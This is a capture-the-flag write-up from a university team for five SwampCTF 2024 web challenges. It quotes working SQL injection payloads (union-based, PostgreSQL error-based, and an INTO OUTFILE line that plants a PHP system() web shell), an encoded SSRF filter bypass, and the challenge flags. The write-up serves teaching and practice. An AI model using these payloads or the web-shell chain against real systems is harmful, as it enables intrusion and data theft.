# Description HCS (Heroes Cyber Security) as official cybersecurity team of Institut Teknologi Sepuluh Nopember has participated on SwampCTF 2024. We managed to 3rd place out of 362 teams, thank you for @daffainfo, @kerupuksambel, and @iktaS who's had participate with me to solve the challenges. [toc] # Potion Seller > My potions would kill you, traveler. You cannot handle my potions. ## Description Broken logic at the source code, whatever ammount when repay the debt make our full dept is gone and able to get the flag. ## Solve Source code. ```js=1 const express = require('express'); const session = require('express-session'); require('dotenv').config(); const app = express(); const port = 3000; const FLAG = process.env.FLAG; app.use(session({ secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: true, cookie: { maxAge: 24 * 60 * 60 * 1000 } // 24 hours })); // Middleware to check if user session exists const checkUserSession = (req, res, next) => { if (!req.session.user) { req.session.user = { debtAmount: 0, gold: 0, swampShade: false, loanPending: false }; } next(); }; app.use(checkUserSession); function verifyAmount(gold) { gold = parseInt(gold); if (isNaN(gold) || gold < 1) { return false; } return true; } // Map Potion ID to Name and Price const potions = [ { name: "Essence of the Abyss ⚗️", price: 10 }, { name: "Potion of Astral Alignment ⚗️", price: 2 }, { name: "Elixir of the Enigma ⚗️", price: 34 }, { name: "Stardust Elixir 🧪", price: 11 }, { name: "Swampshade Serum ⚗️", price: 100 }, { name: "Phoenix Tears Potion ⚗️", price: 65 }, ]; app.get('/stats', (req, res) => { // Show current stats res.json({ debtAmount: req.session.user.debtAmount, gold: req.session.user.gold, swampShade: req.session.user.swampShade, loanPending: req.session.user.loanPending }); }); app.get('/checkout', (req, res) => { // Check if user has a pending loan if (req.session.user.loanPending) { return res.json({ message: "Ermm you still have a debt 🤓" }); } // Set the loan to pending if (req.session.user.swampShade) { return res.json({ message: "You are worthy: " + FLAG }); } else { return res.json({ message: "You don't possess the SwampShade potion!" }); } }); // Example request: http://localhost:3000/borrow?amount=1000 app.get('/borrow', (req, res) => { let amount = req.query.amount; // Check if request is a number if (!verifyAmount(amount)) { return res.json({ message: "Invalid amount" }); } if (req.session.user.loanPending) { return res.json({ message: "Repay your loan first!" }); } else { // Set the loan to pending req.session.user.loanPending = true; req.session.user.debtAmount = Number(amount); req.session.user.gold = Number(amount); return res.json({ message: "You have successfully borrowed gold 🪙" }); } }); // Example request: http://localhost:3000/buy?id=1 app.get('/buy', (req, res) => { potionID = req.query.id; // Check if potion ID is valid if (!potionID || !potions[potionID]) { return res.json({ message: "Invalid potion ID" }); } // Buy the potion if (req.session.user.gold < potions[potionID].price) { return res.json({ message: "Not enough gold" }); } // Update user's stats req.session.user.gold -= potions[potionID].price; // SwampShade Serum if (potionID == 4) { req.session.user.swampShade = true; } return res.json({ message: "Potion acquired" }); }); // Example request: http://localhost:3000/repay?amount=1000 app.get('/repay', checkUserSession, (req, res) => { // Get the amount to be repayed let amount = req.query.amount; // Check if user has a pending loan if (!req.session.user.loanPending) { return res.json({ message: "You do not have any debts" }); } // Check if request is a number if (!verifyAmount(amount)) { return res.json({ message: "Invalid amount" }); } // If the amount is a number, check if it's enough to repay the loan if (req.session.user.gold < Number(amount)) { return res.json({ message: "You don't have that much money" }); } // Check if the amount is enough to repay the loan if (req.session.user.debtAmount <= Number(amount)) { return res.json({ message: "This is not enough to repay the debt" }); } // Repay the loan req.session.user.gold = 0; req.session.user.debtAmount = 0; req.session.user.loanPending = false; return res.json({ message: "✨ Debt Repaid ✨" }); }); app.get('/', (req, res) => { res.json({ message: "My potions are too expensive for you, traveler! 🧙" }); }); app.listen(port, () => { console.log(`App listening at http://localhost:${port}`); }); ``` To get the flag we need to set `req.session.user.swampShade` to true But before that because our account is doesn't have balance, we can borrow according the function at line `75`. ![potion1](https://hackmd.io/_uploads/rJNfagbeA.png) After borrowed some balance, you can buy the item that can make set `req.session.user.swampShade` to true by according at the line `110`. ```js=1 if (potionID == 4) { req.session.user.swampShade = true; } ``` ![potion2](https://hackmd.io/_uploads/HJ5h6lWx0.png) Now, this time we need make out debt balance to zero. According to the source code at the line `144`, we can repay debt by any value so it's will make our debt to zero. ``` req.session.user.gold = 0; req.session.user.debtAmount = 0; req.session.user.loanPending = false; ``` ![potion3](https://hackmd.io/_uploads/Hy7d0xbxC.png) Now we can checkout the flag. ![potionflag](https://hackmd.io/_uploads/SkcH1bZlR.png) ``` swampCTF{Y0u_c4nt_h4ndl3_my_str0ng3st_p0t10ns!} ``` # BrailleDB-1 > In order to help our university comply with The Americans with Disabilities Act we made an ASCII to braille webservice, now we just hope the faculty doesn't print out their braille on flat pieces of paper.... ## Description SQL Injection at the search column for get the flag. ## Solve Visit the website. ![braile1](https://hackmd.io/_uploads/ry76sbZl0.png) Try to inject the search column. ![braile2](https://hackmd.io/_uploads/r19CiW-eC.png) It's look vulnerable to SQL Injection, so we try inject more but it's only had a `1` order. ![braile3](https://hackmd.io/_uploads/rJu-nb-l0.png) Then we find the table that contains flag with this payload. `' union select (select table_name from information_schema.tables limit 1 offset 2)-- - ` ![braile4](https://hackmd.io/_uploads/HJmDhZWgC.png) Get the table name, after that we try to extract column name but the result is `flag` which is we can extract it with `SELECT flag from flag`. Then our final payload is like this. `' union (select flag from flag)-- -` ![braileflag](https://hackmd.io/_uploads/B1Osh-WgC.png) ``` swampCTF{Un10n_A11_Th3_W4yyy!} ``` # MemeGenerator > All the existing meme generators leave stupid watermarks so we wrote our own! ## Description SSRF and bypass the blacklist filter to read the flag. ## Solve Simply this web can generate a image with a text, but after several test the generate form it's vulnerable to anything. And we concern there anothe form, it's a Load Image. ![meme1](https://hackmd.io/_uploads/BkREpb-lR.png) Injected the form. ![meme2](https://hackmd.io/_uploads/SJ2IaWblR.png) Well according to my conclusion this can be a SSRF, and since the `debug mode` of website is ON. We can leak the source by change the value of imageURL to `true`. ![meme3](https://hackmd.io/_uploads/r1tppZZl0.png) Bypassing the filter using hex, a -> `%61`. Then final payload like this `http://loc%61lhost:5000/%61dmin`. ![memeflag](https://hackmd.io/_uploads/SyFfCZbg0.png) ``` swampCTF{SSRF_15_n0_Jok3!!1} ``` # UnderConstruction > Under Construction ## Description Chaining SQLi into oufile with LFI for get the flag. ## Solve Get a website like this. ![under1](https://hackmd.io/_uploads/H1IKRWWlR.png) Since the website was using parameter `?page=`, this make me immediately to test LFI. ![under2](https://hackmd.io/_uploads/HyxaAbblR.png) Look that is vulnerable to LFI, but we found another bug at the login page. ![under3](https://hackmd.io/_uploads/BkVl1GbeR.png) The login page was vulnerable to SQLi, at my conclusion we need to chaining the SQLi with LFI. How? there a method name `SQLi into oufile` which is we can spawn a backdoor, then we try payload like this. ``` admin' union select 1,"<?php system(\"ls\"); ?>",3 into outfile "/tmp/bbb.txt"-- -&password=admin ``` ![under4](https://hackmd.io/_uploads/SJa_kMbxR.png) After that access it with LFI method. ![under5](https://hackmd.io/_uploads/HyoTyf-lC.png) We found the flag file, and read it. ![underflag](https://hackmd.io/_uploads/ByaC1zZeR.png) ``` swampCTF{ch4ining_Vu1ns_I5_Pr3tty_C0Ol} ``` # BrailleDB-2 > The university told us that our last ASCII to Braille converter was vulnerable. No worries, we fixed it and now it is unhackable! ## Description SQLi on the feedback form. ## Solve With same environment we try to inject the search column again. ![braile2-1](https://hackmd.io/_uploads/SkqdgMZgA.png) Look's like it has been fixed, after that we notice there a one more form. ![braile2-2](https://hackmd.io/_uploads/Hyy3lGZgR.png) Since the form was only accepted `Braille` encoding, so we need to convert it first. ![braile2-3](https://hackmd.io/_uploads/B1LCgM-g0.png) The output. ![braile2-4](https://hackmd.io/_uploads/HJl7bz-gA.png) Then we try some `postgre SQLi` from [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-error-based). We managed find the correct payload. ``` a'),(cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 2) as int));-- - ``` ![braile2-5](https://hackmd.io/_uploads/S1kK-zZeR.png) Table name is `flag`, had a feeling this was same pattern with `BrailleDB-1`. So, we created the final payload like this. ``` a'),(cast((SELECT flag FROM flag) as int));-- - ``` ![braile2-flag](https://hackmd.io/_uploads/rkbyzMZeC.png) ``` swampCTF{S33ing_0utput_1s_0v3rrat3d} ```